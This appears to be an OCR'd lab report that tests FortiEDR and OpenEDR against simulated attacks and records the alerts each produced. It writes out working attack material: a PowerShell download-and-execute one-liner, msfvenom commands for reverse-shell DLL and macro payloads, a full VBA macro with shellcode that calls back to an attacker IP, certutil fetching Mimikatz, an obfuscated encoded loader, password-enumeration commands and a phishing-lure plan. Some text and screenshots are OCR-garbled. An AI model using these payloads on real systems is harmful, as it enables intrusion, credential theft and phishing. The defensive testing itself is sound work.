DIPLOMATIKN\apanaa DIPLOMATIKNapanaa  Unsianed C:\Users\apanaa\Downloads\92{f7716bb0fa4c30368c24acd23423dbb6033f3c6bB5d37af1524a7421d2856 exe

FortiEDR generated alert

It blocked the execution of the file immediately

OpenEDR

OpenEDR: We dowloaded the file and tried to run it, but it was immediately blocked by Comodo
Antivirus as malware:

Malware@#vr2whrghpbéu C\Users\gpanag\Downloads\92ff7716bb0fadc30368c24a

OpenEDR generated alert
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It created one medium alerts where it informs us about the blocked file.

Component Score  Alert Name Alert Time Device

Containment Block 2023-03-27 17:45:57 PcwithOpenEDR

Containment

Component: "admin_verdict” : "Unknown", "device_name" : "PcwithOper
Device Name: "base_event_type" : "Containment Block”, “event_time™ : "2023-03-27
- "component™ : "Containment”, "file hash™ : "358@592c369¢
Event Type ck -
) o "device_os” : "Windows", "file_name" : "92ff7716bbe{
Event Time: 5.57
"event_group” : "FILE", "file_path" : "C:\Users\gp:
"xcitium_verdict” : "Unknown"

OpenEDR generated alert

Download Script from URL and Execute with Invoke Expression

This technique can be used to download a PowerShell script from the internet and execute it
without having to write to disk. It also doesn’t result in any configuration changes.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString(‘https://bit.ly/1kEgbuH")"

FortiEDR
The powershell command was blocked and an alert has been created

PS C:\Users\gpanag> pouwe

Powershell command failed FortiEDR

The alert:

PROCESS CLASSIFICATION DESTINATION RECEIVED
powershell exe 4 Malicious 67.199.248 10 18-Mar-2023, 191134

it Certificate: Signed Process Path: C:\Windows\System32'WindowsPowerShell'v1.0\powershell.exe

L]
CONNECTION

PARENT PROCESS CREATION PARENT PROCESS CREATION PARENT PROCESS CREATION PARENT PROCESS CREATION

Company: Microsoft Corporation Product: Microsoft® Windows® Operating System
Comments:

Description: Windows PowerShell
Command Line: -nop -¢ “iex(New-Object Net WebClient). DownloadString(htips://bit.ly/ 1kEgbuH')"

Version: 10.0.17763.1 (WinBuild.180101.0800)

Powershell Alert FortiEDR
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OpenEDR:

PS C:\Users\gpanag> powershell

C:\Users\gpanag> o

Successful powershell on OpenEDR

The execution of the command was blocked and alert with the name "Suspicious
Powershell Execution" was created:

Suspicious Powershell Execution 2023-03-18 20:12:16 PCWITHOPENEDR

"adaptive_event_type" : "Suspicious Powershell Execution”,
"base_event_type" : "Create Process",
"child_process_command_line" : ""C:\Windows\System32\WindowsPowerShell\vl.®@\powershell.exe" -nop -

"child_process_elevation_type" : "TYPE3",

Alert "Suspicious Powershell Execution”

Testing of network ports

In this case we will act as we have Physical access to the hosts and executes some commands
as if the attacker was sitting on the desk

for($i=130; $i -le 140; $i++){Test-NetConnection localhost -Port $i}

This code is using the PowerShell scripting language to test a range of network ports on the
local machine.

FortiEDR

1
WARNING: TCP connect to (::1 : 138) failed
WARNING: TCP connect to (127.8.8.1 : 138) failed

ComputerName : localhost

Remotelddress :oedl
RemotePort : 138
Interfaceflias : Loopback Pseudo-Interface 1

Sourcefddress o |

PingSucceeded : True
PingReplyDetails (RTT) : @ ms
TcpTestSucceeded : False

Powershell command output
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No alerts have been created
OpenEDR:

Computeriame : localhost

Test-NetConnection - ::1:134
Attempting TCP connect

Waiting for response
TcpTestSucceeded

WARNING: TCP connect to ( : i

WARNING: TCP connect to (127.8.8.1 :

ComputerName : localhost

Remotefddress I |

RemotePort : 131

InterfacefAlias : Loopback Pseudo-Interface 1
Sourcelddress :ol

PingSucceeded : True

PingReplyDetails (RTT) : © ms

TcpTestSucceeded : False

Powershell command output

No alerts were also generated from this action.

DLL Hijacking

On both machines we tried executing a dll injection attack. DLL hijacking attacks happen when
a specific program tries to load a DLL from a location and can’t find the location of it. If the
service runs as SYSTEM, it results to any code executed from the DLL will run with elevated
priviledges. Something to mention is that in order the attack to be successful, it is vital to write to
the privileged folder C:\Windows\System32

Generating one DLL that will be loaded and executed from a vulnerable application
which connect back to an attacking system with one meterpreter shell:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.137.130 LPORT=9500 -f dll >
reverse64bit.dll
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The creation of the file is shown bellow:

Terminal  Help

i~# file reverse_64bit.d

&4bit.dll: PE32+ executable (DLL)

#
~# ]

11

msfvenom reverse tcp creation

roct@kali: ~

for M5 Windows

(GUT)

Next step is to monitor the running processes in order to find a hijackable DLL.

£ Process Monitor - Sysinternals: www.sysinternals.com — [m} X
File Edit Event Filter Tools Options Help
[ ZEXBRE|AS MK HD LD
Time ... Process Name PID  Operation Path Result Detail *
203, Explorer EXE 4572 ﬂRegQuewKey HKCUnSoftware"\Classes SUCCESS Query:
2:01:3... 'y Explorer. EXE 4572 ﬂRagQuewKey HKCUNSoftware\Classes SUCCESS Query:
2:01:3... ' Explorer EXE 4572 @ Requeryiey  HKCUNSoftware\Classes SUCCESS Query:
2013 Explorer EXE 4572 @%RegOpenkey  HKCLU\Software\Classes'\Cl SID\{56AD4CS0-B308-4FA5-8FF1-7940C29838C. NAME NOT FOUND Desirec
2:01:3... ' Explorer. EXE 4572 @4 RegOpenkey  HKCRACLSID\{56ADACS0-BS03-4FE5-8FF1-7940C29BIBCF  Instance NAME NOT FOUND Desirec
203, Explorer EXE 4572 BhQuenDiectory  C:\Users SUCCESS Filter: L
2:01:3... ' Explorer. EXE 4572 @CIoseFlle SUCCESS
2013. Explorer. EXE 4572 BACreatefie C:\Users"Dhiraj Shama SUCCESS Desirec
2ma3.. Explorer EXE 4572 aQuawDir&duw C:M\Users"Dhiraj Shama*\Desktop SUCCESS Fitter: L
2n3.. Explorer EXE 4572 acloseﬁle C:\Uzers'Dhiraj Shama SUCCESS
2:01:3... ' Explorer.EXE 4572 @ Reglueryey  HKCUNSoftwars'\Classes SUCCESS Query:
203 y Explorer EXE 4572 ﬂRegQuewK&y HKCUSoftware \Classes SUCCESS Query:
Explorer EXE 4572 ﬂRagQuewKey HKC U Software\Classes SUCCESS Query:
Explorer EXE 4572 @ RegOpenKey  HKCUMSoftware\Classes\Applications'Procmon64 exe NAME NOT FOUND Desirec
1 Explorer EXE 4572 ﬂRagOpenK&y HKCR\Applications'Procmon64 exe MAME NOT FOUND Desirec
Explorer. EXE 4572 @ RegluenyKey  HKCU\Software'\Classes SUCCESS Query:
Explorer EXE 4572 @ ReguenyKey  HKCUMSoftware'\Classes SUCCESS Query:
Explorer EXE 4572 ﬂRegQuewKsy HKCUSoftware\Classes SUCCESS Query:
Explorer. EXE 4572 @ RegOpenkey  HKCUMSoftwars'\Classes' Applications'\Procmon64.exe MNAME NOT FOUND Desirec
y Explorer. EXE 4572 ﬂﬂagOpenKey HKCR Applications'Procmon64 exe NAME NOT FOUND Desirec
Explorer EXE 4572 ﬁRegQuew\f’alue HKC L Software\Microsoft \Windows \Curment Version\ ExplorerUserAssist\{CE... SUCCESS Type: F
Explorer. EXE 4572 @%RegSetValue  HKCU\Software\Microsoft\Windows\Curment Version\Explorer\UserAssist \[CE .. SUCCESS Type: |
y Explorer EXE 4572 ﬂRagSetValue HKC U Software\Microsaft \Windows \Cument Version\ExplorerUserAssist\{CE... SUCCESS Type: F
Explorer EXE 4572 ﬂRagQuewKey HKCUnSoftware\Microsoft \Windows \Cument Version Explorert Sessioninfo 1\A.. . SUCCESS Query:
y Explorer. EXE 4572 @ RegOpenkey  HKCUMSoftware\Microsoft\Windows\Cument Version'\ExplorerSessioninfo)\1\A... NAME NOT FOUND Desirec
Explorer EXE 4572 aCrEateFi\e C:\Windows'\ System32combase dil SUCCESS Desirec
y Explorer EXE 4572 Bh.QueryBasicinfor.. C:\Windows' System32'combase di SUCCESS Creatio
Explorer EXE 4572 [BhCloseFile C:\Windows'\System32tcombase dil SUCCESS
otimon exe 4360 ﬂRegQuewKsy HKCU SUCCESS Query:
cifmon.exe 4360 @ RegOpenkey  HKCU:Software\MicrosoftInput'Settings SUCCESS Desirec
ctfmon exe 4360 ﬂﬂag@uew\f'alue HKC USoftware\MicrosoftInput*Settings '\ MultlingualEnabled SUCCESS Type:
ctfmon .exe 4360 ﬂRagC\oseK&y HKC U Software . Microsoft\Input . Settings SUCCESS
cifmon.exe 4360 @ Peglueryley  HKLM SUCCESS Query:
ctfmon exe 4360 ﬂRegOpenKey HKLM*Software"Microsoft \Input Settings SUCCESS Desirec
ctfmon .exe 4360 ﬂRagQuewKey HKCU SUCCESS Query:
cifmon .exe 4360 #%RegOpenkey  HKCU:\Software\Microsoft\Input'Settings SUCCESS Desirec
ctfmon exe 4360 ﬂRegQuewK&y HKLMSOFTWARE\Microsoft\Input*Settings SUCCESS Query:
cifmon.exe 4360 @ RegOpenkey  HKLM\SOFTWARE\Microsaft\Input'Settingsis_0'oc_0409 NAME NOT FOUND Desirec
ctfmon exe 4360 #¥Reguerykey  HKLM\SOFTWARE\Microsoft\Input'Settings SUCCESS Query:
ctfmon .exe 4360 ﬂRegOpenKey HKLM.SOFTWARE\Microsoft\Input*Settingstis_0 SUCCESS Desirec
cifmon.exe 4360 #%RegQueryValue HKLM\SOFTWARE\Microsoft\Input'Settings'is_0\KEYBOARDMODE NAME NOT FOUND Length
cifmon exe 4360 ﬁﬂagC\UseK&y HKLM:SOFTWARE Microsoft \Input*Settingstis_0 SUCCESS
ctfmon .exe 4360 ﬁRagQuew\f’alue HKLM.SOF TWARE\Microsoft\Input*Settings\KEYBOARDMODE SUCCESS Type:
cifmon.exe 4360 #% RegQuenyValue HKCUNSoftwars\MicrosoftInput' Settings\KEYBOARDMODE NAME NOT FOUND Length
ctfmon exe 4360 ﬂRegC\nseKey HKLM*SOFTWARE\Microsoft \Input*Settings SUCCESS
ctfmon exe 4360 ﬂRagC\oseKey HKCUnSoftware\Microsoft\Input . Settings SUCCESS
~Hman mve AN ¥ RanliendKey HKI M SHFTFSS Noens ¥
Showing 26,933 of 229,394 events (11%%) Backed by virtual memory
Process Monitor- Susinternals
| tried DIl Highjacking with some default apps but all of them was blocked.
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Because | want to keep it simple, | am creating a vulnerable application in order to load the
malicious .dll :
#include <windows.h>

int main() {
HINSTANCE hDlI;
hDIl = LoadLibrary("random.dll");
if (hDIl == NULL) {
printf(“ DLL not found”);
} else {
printf(“DLL loaded successfully”);
}

return O;

If | execute the above code and the malicious dll is not found in the targeted system, the custom
application will print “DLL not found” and Process monitor is going to present the same result in
‘Result’ column.

In order to see the paths that the application is looking into for the random.dll we are echoing

the $path variable.

C:\Users\user>echo %PATH%
C: \WINDOWS\system32;C: \WINDOWS ; C: \WINDOWS\System32\Wbem; C: \WINDOWS\System32\WindowsPowerShell\v1.8\;C: \WINDOWS\System32)|

OpenSSH\;C:\Program Files\dotnet\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;C:\Users\user\.dotnet\tools

Terminal output of $path

Something to note is that the program is going to check the current working directory first, and
then it will look into the above paths.

The attack was blocked by both EDRs, due to the usage of msfvenom dll which is certainly
suspicious.
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Cynet tool

In this test we will execute the Cynet tool[15] and we will try each technique. It is a powershell
file that when we try to run it we get a notification from Windows that the file is risky. We will
override this notification and click on More Info > Run Anyway.

Windows protected your PC

Microsoft Defender SmartScreen prevented an unrecognized app from
Running this app might put your PC at risk.
info

Windows Defender notification

C* ChUsers\gpanaghDownloads\CyTool (1)\CyTool\ Cytool.exe

dkkkckckckckckkkchokckkkeok ok ki koo ckkck sk kokkk sk ks sk sk ks sk sk sk ckck sk chck ke sk ok ok ke sk ok ks ke sk sk sk sk ok
3
£
*
-3
*
£
-4

Mk ek ek e ek e ke e ek ke ke e e ke ke ke e ke ke ke e ke ke e e e ke e e e ke ke e e e sk e e ke e s e ke ke e e ke ke ke ok

Please Choose one of the following Techniques:

1) InitialAcces xecution
Persistance

Enumeration
Threat Intelligence Detection

Exit Program

Cynet Tool Menu
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Initial Access/Execution attacks

We will use file-less attacks to demonstrate an initial compromise of the environment based on
Cynet Tool and information found on their pdf[15].

This type of attack vector known as “File-less”, has been a growing threat since 2017 and
requires highly sophisticated detection and prevention tools to detect and mitigate the attack.
Many times, fileless attacks use “Living off the land” techniques which refer to the abuse of
legitimate tools, also called “Living off the land binaries (LOLBins)”, that already exist on the
machine through which malwares can persist, move laterally or serve other purposes. The most
common Windows tools used in “Fileless” attacks are PowerShell and WMI. PowerShell is a
very popular built-in windows tool attackers use as PowerShell commands can be executed
natively on Windows without writing any data to the disk and can easily evade traditional
endpoint security solutions.

Execute obfuscated Powershell command.

This will execute an obfuscated command and popup a message:

FortiEDR:
On FortiEDR it was executed successfully, no alerts were created.

r an alert:

@) Exit(Back to main menu)
1

Cynet Test

Cynet Tool test 1 FortiEDR
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OpenEDR:

It was also executed successfully but an alert was created.

Cynet Tool test 1 OpenEDR

Event: Run Virtually in Containment

File path: | C:\ProgramData\Comodo\Cis\tempscrpt\C_powershell.exe C1A4D6B7
CI11A7F6F490D425940D23232B05 1 ESFB.ps1

Hash: clad4d6b7c11a7f6f490d425940d23232b051e8fb

Event Generated

Running Malicious PowerShell Script:

This option will drop a PowerShell script named cytest.ps1 in the main folder and then execute
the script. Immediately after it will delete the script. The PowerShell script is double encoded
and obfuscated to avoid detection. It's supposed to download Mimikatz and save it to the TMP

folder.

This is the command which is run:
(nEW-0BJeCTiO.cOmPRessiON.DeflAtestreAm([SySTem.lo.MeMoRystrEaM]
[sYSteM.ConvErT]::FRombaSe64STRING(
"7TbOHYBxJIiUmL23Ke39K9UrX4HShCIBgEyTYKEAQ7MGIzeaS7B1pRyMpqygBymVWZV1mFk
DM7228995777333nvvvfe60510J/ff/zZ9cZmQBbPbOStrdniGAqsgfP358Hz8itI7kV

7

9tfTn46n7bpi7wdfzefndRFvmzvjJ9WV8uyymav27pY Xmx9PG/bVPo7t06uxpfFO18PVk3eT2tli01

HO+rxd1peb2Y3Kvvvqyu8vr1PC/Lu4usafP67tnys
ngbb39RLIg3WfuD7t/jVbP78230291v1+32s6LM098tX14+avPF6veNNP1/AA==' )
[SySTem.iO.cOmpReSsioN.cOMPRESSionmodE]::DEcomPRESs

) |%{ nEW-0oBJeCT I[0.sTReAMrEadeR($_ ,[teXt.encOdinG]::AScil )}).ReadTOEND()|.
$pShOme[21]+$PShomE[34]+'X")
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FortiEDR:
This was blocked by fortiedr and the powershell script although it was dropped successfully it
was not able to run. Although no alert was triggered.

OpenEDR:
This was not blocked by Openedr and the powershell script was dropped successfully and was
able to run. The alert that was triggered was the following:

Suspicious Powershell Execution 2023-03-02 13:44:45 PCWITHOPENEDR T1059.001
"adaptive_event_type" : "Suspicious Powershell Execution”, “logged_on_user” : “gpanag@DIPLOMATIKI,
“NEDR "base_event_type" : "Create Process”, "process_hash" : “6bc815d8ab2194850142e80b7167539612332bbd’
- “child_process_command_line" : “powershell.exe -ExecutionPolicy ByP “process_parent_tree” : [ .. ]
) . "child_process_elevation_type” : "TYPE3", "process_path" : “C:\Windows\SysWOWs4\cmd.exe",
s "child_process_hash" : "ebbcade7272afdf52d963de626a1dd4d26b39a7e", "process_user_domain” : "DIPLOMATIKI",
A0002) "child_process_path” : "C:\Windows\SysWOW64\WindowsPowershell\vi.e\ "process_user_name” : “"gpanag@DIPLOMATIKI",
T1059.001) “child process pid” : 6852, "process verdict" : "safe”,
“child_process_wverdict™ : "Safe”, "tactic” : "Execution”,
"component” : "EDR", "tacticID" : "TA@@e2",
“device_name” : "PCWITHOPENEDR", "technique” : "PowerShell”,
“event_group” : "PROCESS", "techniqueID™ : "T1059.001"
“event_time" : "2023-03-02 13:44:45.470+02:00",
"process_creation_time” : "2023-03-02 13:44:44.465+02:00"

Suspicious Powershell Execution alert from OpenEDR

Execute code hidden in Registry:

This option will try to execute a PowerShell script hidden in the Registry. This technique is used
by the known Trojan Banking Ursnif. The script doesn't exist and it is just for testing.

This is the command that is run:

C:\Windows\system32\cmd.exe /c  powershell.exe -noprofile -windowstyle hidden
-executionpolicy bypass iex ([Text.Encoding]::ASCIl.GetString([Convert]::FromBase64 String((gp
'HKCU:\Software\Classes\Cynet').TEST)));

FortiEDR:

This attack was blocked by Windows Defender as a Trojan (“This program is dangerous and
executes commands from an attacker.”) The attack was running a cmd command that run
powershell.exe in order to bypass iex ( Invoke-Expression). When disabling defender, the attack
was blocked by FortiEDR.

OpenEDR:
This attack was blocked by OpenEDR,an alert was created.
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Suspicious Powershell Execution 2023-03-02 14:59:28 PCWITHOPENEDR T1059.001
"adaptive_event_type" : "Suspicious Powershell Execution”, "logged_on_user” : "gpanag@DIPLOMATIKI",
"base_event_type" : "Create Process”, "process_hash" : "6bc815d8ab2194850142e80b7107539612332bt
"child_process_command_line" : "powershell.exe -noprofile -windowst "process_parent_tres" : [ .. ]
"child_process_elevation_type" : "TYPE3", "process_path” : “C:\Windows\SysWOW64\cmd.exe™,
"child_process_hash™ : "eébcade7272afdf52d963d0626aldd4d26b39a7e", "process_user_domain” : "DIPLOMATIKI",
"child_process_path" : "Ci\Windows\SysWOW64\WindowsPowerShell\vl.@\ "process_user_name" : "gpanag@IPLOMATIKI",

) "child process_pid" : 882@, "process_verdict™ : "Safe”,
"child_process_verdict™ : "Safe”, "tactic" : "Execution”,

"component™ : "EDR", "tacticID" : "TA@@O2",
"device_name" : "PCWITHOPENEDR", "technigue" : "Powershell™,
"event_group” : "PROCESS", "techniqueID" : "T1@59.801"
"event_time" : "2023-03-02 14:59:28.770+02:00",

"process_creation_time™ : "2023-83-02 14:59:27.776+02:80"

Event Created from OpenEDR

Malicious Process Command:

Please Choose one of the following t ~ an alert:

1) Use Certutil LOLBIN to download malicious file from

t{Back to main menu)

Cynet tool menu

Certutil is a LOLBIN which can download malicious files from the web. Please note,
downloading files with Certutil is not common and attackers abuse this program to download
malicious files in a stealthy way. This POC will download “Invoke-Mimikatz1.ps1” to folder
“AppData\Local\Microsoft\Windows\INetCache\lE\XXXXXXX”.

FortiEDR:
This attack was blocked by FortiEDR as Malicious process (certutil.exe) with a
command line:

-urlcache -split -f
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mi
mikatz.ps1 C:\Users\gpanag\Downloads\CyTool(1)\CyTool

Command Line
OpenEDR:

This attack was not blocked by Comodo Antivirus, nor OpenEDR. The attack uses a
cmd command that runs powershell.exe in order to download a file from github.com that is
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Invoke-Mimikatz.ps1. It managed to communicate with github, but wasn't able to run
the command.

i.githubusercontent.co owerShellMafia/P Sploit/master/Exfiltration/Invoke-Mimikatz.ps1

WinINet Cache entries: 1

ertUtil: -URLCache (W 5 ERROR_ACCESS_DENIED)
55 15 d

Command running successfully

The alert was the following:

Suspicious Certutil Usage 2023-03-02 14:00:41 PCWITHOPENEDR

Close Alert Report False Positive

"adaptive_event_type" : "Suspicious Certutil Usage”. "logged_on_user” : "gpanag@IPLOMATIKI",
\EDR "base_event_type" : "Create Process”, "object” : "PCWITHOPENEDR",
. "child process_command_line" : "certutil.exe -urlcache -split -f ht "process_hash"” "6bc815d8ab2194850142e80b7107539612332bbd",
B . “child_process_elevation_type" : "TYPE3", "process_parent_tree” : [ .. ],
oo "child_process_hash" : "84749205782385fac1b22b21badcaddle7adeehs”, "process_path” : "C:\Windows\SysWOW64\cmd.exe”,
d Control (TAQO1 "child process_path” : "C:\Windows\SysWOW64\certutil.exe", "process_user_domain” "DIPLOMATIKI",
Transfer (T1105) “child process_pid” 7760, “process_user_name” : “"gpanag@IPLOMATIKI",
“child_process_verdict" : “safe”, “process_verdict” : “Safe’,
" component™ "EDR", "tactic” : "Command and Control”,
"device_name" : "PCWITHOPENEDR", "tacticID" "TAgO11",
"event_group” : "PROCESS", "technique" : “Ingress Tool Transfer”,
“event_time" : "2023-83-02 14:00:41.015+02:00", "techniqueID” : "Ti11@5"
"process_creation_time" "2023-03-02 14:00:40.844+02:00"

Suspicious Certutil Usage

Persistence

Create Malicious Task Scheduler:

This option will create a task scheduler with a random name that will run a bat script named
CynetTest.bat. This bat script will be dropped in the TEMP folder. The task will be registered and
executed within a minute or so. A pop up message will appear, 10 seconds after the execution
the Schedule Task and the BAT script will be deleted.
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FortiEDR:
The test was successful. No alert from fortiEDR

€ C\Users\administrator\Downloads\CyTool(1)\CyTool\Cytool.exe - O x

: Creating Scheduled Task Named ujtzdxeltn to execute the following: {INI~1\AppData\local\Temp\CynetTest.

SS: The scheduled task "ujtzdxeltn™ has fully been created.

: Scheduled Task will be execute in 48 seconds please wait...
IMNFO: Deleting Scheduled Task & BAT file in 10 seconds please wait...

CynetTest is the BEST!

FortiEDR successful attack

OpenEDR:
The test was not successful. OpenEDR blocked the execution of the attack.

C- Ch\Users\gpanag\Downloads\CyTool(1\CyTool\Cytool.exe — O X

ERROR: Access is denied.

[INFO: Scheduled Task will be execute in 55 seconds please wait...

test was not successful

Create File on Startup Folder

This option will create a bat script - CynetTest.bat within the Startup directory, this means that
the script will be executed on OS startup, this is another common way for malwares to create
persistence. The script contains harmless code and is deleted when execution is done.
FortiEDR:

File created successfully on Startup Folder. No alerts were triggered.

c- Administrator: C\Users\administrator\Downloads\CyTool{(1TM\C

CynetTest.bat File is created in Startup Folder
Removing File...

Press any key to continue . . .
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=| chrome_installer 3/11/2023 11:03 A..  Text Document 47 KB
CynetTest 3/18/2023 2:28 PM Windows Batch File 1KB
| ed4f86d6-8a3d-4363-bc06-c188e7bcfccf..  3/12/2023 8:11 AM  TMP File 0 KB
| fb167a6a-c057-41f9-b88b-f059cb6812b..  3/15/2023 229 PM  TMP File OKB
=| MicrosoftEdgeUpdate 3/18/2023 2:24 PM Text Document 871 KB

File created successfully on Startup Folder

OpenEDR:
File creation was successful on Startup Folder. No alerts were triggered.

C- Administrator; C\Users\administrator\Downloads\CyTool(1T\C

CynetTest.bat File is created in Startup Folder
Removing File...

Press any key to continue

Cynettest.bat file

Host Enumeration

This test will aim to trigger medium severity alerts on reconnaissance (info gathering) and
passwords enumeration.

Commands examples for searching passwords and network info:

cmd.exe /c dir /s *passw* == *cred* == *vnc* >NUL

cmd.exe /c reg query HKLM /f password /t REG_SZ /s >NUL

cmd.exe /c powershell get-netipconfiguration >NUL

FortiEDR:
An enumeration process was attempted. The action was blocked by FortiEDR.
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C- Administrator; C\Users\administrator\Downloads\CyTool(1)\CyToal\Cytool.exe

This section will execute commands for enumerate passwords and network configuration
NO it may take a minute or two so please wait until its finished
3ack to menu

Press any key to start..
File Not Fo

Process

Create 8 Cre 9 Wri Dok N
7 Create Create 9 Write Volume Tt
PUP
Frocess
reg exe

Host Enumeration attempt on FortiEDR

BOOT MANAGER ACCESS

Source process: \Device\HarddiskVolume1\Windows\SysWOW64\reg.exe
Command Line: query HKLM /f password /t REG_SZ /s

Command Line: /c reg query HKLM /f password /t REG_SZ /s >NUL
Target: BOOT MANAGER ACCESS

Action: Blocked

Event Generated

OpenEDR;

An enumeration process was attempted. The action was blocked by EDR.

With a source process: \Device\HarddiskVolume1\Windows\SysWOWG64\reg.exe
Command Line: query HKLM /f password /t REG_SZ /s

It run the command virtually and blocked it:

C- Ch\Users\gpanag\Downloads\CyTool(1\CyTool\Cytool.exe

his section will execute commands for enumerate passwords and network configuration
NOTE: it may take a minute or two so please wait until its finished
) Back to menu

ress any key to start..

Host Enumeration attempt on OpenEDR
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The alert created:

Application Rating Action

Unrec... Run Virtually

C:\ProgramData\COMODO\Cis\tempscrpt\C_powershell.exe_9890D23E41F2B316156E495661B289BE

C:\ProgramData\COMODO\Cis\tempscrpt\C_powershell.exe_9890D23E41F2B316156E495661B289BE2FB5A88B.ps1 Unrec... Run Virtually

C:\ProgramData\COMODO\Cis\tempscrpt\C_powershell.exe_C1A4D6B7C11A7F6F490D425940023 051E8FB.ps1 Unrec... Run Virtually

Alert created

Threat Intelligence Detection

This feature will download random real samples of adware\hack tools\MimiKatz. The file
extension will be “dI' in order to prevent execution. The files will be saved in the folder
“CynetTID”, when the download completes you will be asked if you would like to delete the files
or not.

FortiEDR:
There was an attempt to download a malicious file. The action was blocked by the EDR
because the executable failed verification.

Hello!

This feature will download a real malicious file in MEDIUM risk, the file is ZIP archive and will be download and unzipp

ed into the tTID'
The File extension will be '.d11' to prevent the file from being run accidentally

Press any key to start download random malicious file

Threat Intelligence Detection attempt FortiEDR

OpenEDR:
There was an attempt to download malicious files. The action was blocked by OpenEDR .

Hello!

This feature will download a real malicious file in MEDIUM risk, the file is 7IP archive and will be download and unzipp|
ed into th lder 'CynetTID'
The File extension will be '.d11' to prevent the file from being run accidentally

Press any key to start download random malicious file

Threat Intelligence Detection attempt OpenEDR
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During handling of the above exception, another exception occurred:

iTraceback (most recent

68, in <module>
in main
in interface_a
in list_files
line 272, in _api_call
line in | pi_call

emit
emit

in _should_retry

in _ call

in _ call__

in _ckt aught_exception
_do_get onse

line 283, in send
_EndpointConnectionE Could not connect to the endpoint URL: "https://haimcynet.s3.amazonaws.com/|
?encoding-type=
[5088] Failed to execute script ecar_customers

Script Execution attempt

There was also an attempt to run these commands but was run virtually and blocked:

ite & Time Application Rating  Action
2023 12:40:28 PM C:\ProgramData\COMODO\Cis\tempscrpt\C_powershell.exe_9890D23E41F2B316156E495661B289BE2FB5A88B.ps1 Unrec... Run Virtually
2023 12:40:24 PM C:\ProgramData\COMODO\Cis\tempscrpt\C_powershell.exe_9890D23E41F2B316156E495661B2898B Unrec... Run Virtually

Attempt to run the commands

Word Document with Macros

For our next test, we will create a Word document with Macros. Word macros are small
programs or scripts that automate repetitive tasks in Microsoft Word. They are created using the
built-in programming language of Word, Visual Basic for Applications (VBA), and can be used to
perform a wide range of tasks, from simple formatting changes to complex document
automation.

On our Kali Linux machine we are running:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.145 LPORT=445 -f vba
and we get the following code:

#If Vba7 Then

Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Uvybf As Long,
ByVal Qkhipv As Long, ByVal Khjgok As LongPtr, Ltgaafe As Long, ByVal Ifxqysr As Long,
Gpg As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Lkho As Long, ByVal
Phlvw As Long, ByVal Nehdayn As Long, ByVal Wdy As Long) As LongPtr

Private Declare PtrSafe Function RtiMoveMemory Lib "kernel32" (ByVal Krdhucrgw As
LongPtr, ByRef Pzjrzwf As Any, ByVal Wihdrre As Long) As LongPtr
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#Else

Private Declare Function CreateThread Lib "kernel32" (ByVal Uvybf As Long, ByVal
Qkhipv As Long, ByVal Khjqok As Long, Ltgaafe As Long, ByVal Ifxqysr As Long, Gpg As
Long) As Long

Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Lkho As Long, ByVal Phivw
As Long, ByVal Nehdayn As Long, ByVal Wdy As Long) As Long

Private Declare Function RtIMoveMemory Lib "kernel32" (ByVal Krdhucrgw As Long,
ByRef Pzjrzwf As Any, ByVal Wihdrre As Long) As Long
#EndIf

Sub Auto_Open()

Dim Rch As Long, Pjculscd As Variant, Mgdxxkxv As Long
#If Vba7 Then

Dim Cuiohd As LongPtr, Xywdpfk As LongPtr
#Else

Dim Cuiohd As Long, Xywdpfk As Long
#EndIf

Pjculscd =
Array(252,232,143,0,0,0,96,49,210,100,139,82,48,139,82,12,137,229,139,82,20,15,183,74,3
8,139,114,40,49,255,49,192,172,60,97,124,2,44,32,193,207,13,1,199,73,117,239,82,87,139,
82,16,139,66,60,1,208,139,64,120,133,192,116,76,1,208,80,139,88,32,1,211,139,72,
52,139,1,214,49,255,49,192,193,207,13,172,1,199,56,224,117,244,3,125,248,59,125,36,117,
224,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,
97,89,90,81,255,224,88,95,90,139,18,233,128,255,255,255,93,104,51,50,0,0,104,119,115,50
,95,84, _
104,76,119,38,7,137,232,255,208,184,144,1,0,0,41,196,84,80,104,41,128,107,0,255,213,106
,10,104,192,168,1,145,104,2,0,1,189,137,230,80,80,80,80,64,80,64,80,104,234,15,223,224,2
55,213,151,106,16,86,87,104,153,165,116,97,255,213,133,192,116,10,255,78,8,117,236,232,
103,0,0,0,
106,0,106,4,86,87,104,2,217,200,95,255,213,131,248,0,126,54,139,54,106,64,104,0,16,0,0,8
6,106,0,104,88,164,83,229,255,213,147,83,106,0,86,83,87,104,2,217,200,95,255,213,131,24
8,0,125,40,88,104,0,64,0,0,106,0,80,104,11,47,15,48,255,213,87,104,117,110,77,97,255,213,

94,94,255,12,36,15,133,112,255,255,255,233,155,255,255,255,1,195,41,198,117,193,195,18
7,240,181,162,86,106,0,83,255,213)

Cuiohd = VirtualAlloc(0, UBound(Pjculscd), &H1000, &H40)
For Mgdxxkxv = LBound(Pjculscd) To UBound(Pjculscd)
Rch = Pjculscd(Mgdxxkxv)
Xywdpfk = RtIMoveMemory(Cuiohd + Mgdxxkxv, Rch, 1)
Next Mgdxxkxv
Xywdpfk = CreateThread(0, 0, Cuiohd, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Document_Open()
Auto_Open
End Sub

Payload Generated
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We are going to create a Text Document, with this code as a Macro, and make it run
automatically when opening it. In our Test scenario we would name it for example “Monthly
Bonus for all the Employees.” and we would send it as a phishing mail to the organization.

TMNormal | TNo Spac... Heading1 Heading 2 Title

Good morning

Attached you will find a program in order to get bonus!!!

Scam mail created

FortiEDR

Having the Windows Defender enabled, we can see that it blocked the process as a Trojan.

TrojanDownloader:097M/Donofflsc

Alert level: Severe

Status: Active

Date: 3/12/2023 10:33 AM

Category: Trojan Downloader

Details: This program is dangerous and downloads other programs.

Learn more

Affected items:

containerfile: C\Users\gpanag\Desktop\Documenttest2.docm

file: C\Users\gpanag\Desktop\Documenttest2.docm->word/vbaProject.bin
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TrojanDownloader:097M/Donoff!sc

Alert level: Severe

Status: Quarantined

Date: 3/12/2023 10:14 AM

Category: Trojan Downloader

Details: This program is dangerous and downloads other programs.

Learn more

Affected items:

file: C\Users\gpanag\Desktop\Document1.docm

oK

Alert created from Defender

